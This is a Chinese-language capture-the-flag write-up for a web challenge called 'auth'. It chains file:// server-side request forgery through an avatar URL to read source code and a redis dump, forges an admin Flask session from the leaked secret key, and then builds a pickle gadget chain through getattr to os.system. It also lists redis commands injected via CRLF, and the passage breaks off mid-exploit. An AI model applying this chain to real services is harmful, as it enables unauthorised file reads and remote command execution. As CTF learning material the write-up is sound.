两个人ak了。

不过…我讨厌国内安全比赛。

web

auth

注册一个用户之后修改头像,avatar_url 支持 file:// 协议,可以任意文件读取,但是没权限读取 /flag,结果经过 base64 后放在头像框内

先读 /app/app.py

avatar_url=file:///app/app.py

发现存在 redis,尝试读 redis 持久化文件 dump.rdb

avatar_url=file:///var/lib/redis/dump.rdb

拿到 Flask secret_key

伪造 admin 的 session cookie 登录

/admin/online-users 会遍历 online_user:* 并反序列化。

虽然用了 RestrictedUnpickler,但放行了 builtins.getattr,而 OnlineUser 在白名单内

可构造 pickle 链:

getattr(getattr(getattr(getattr(OnlineUser, "__init__"),"__globals__")"get")("os"),"system")(cmd)

由于目标是:online_user:<user>

需要把该键覆盖成恶意 pickle

利用点仍是 avatar_url:将请求打到 127.0.0.1:6379,通过 CRLF + RESP 进行协议注入,发送:

AUTH redispass123
SET online_user:<user> <pickle_payload>
EXPIRE online_user:<user> 3600

通过读取 file:///proc/1/task/1/children,拿到子进程 PID:11 14 20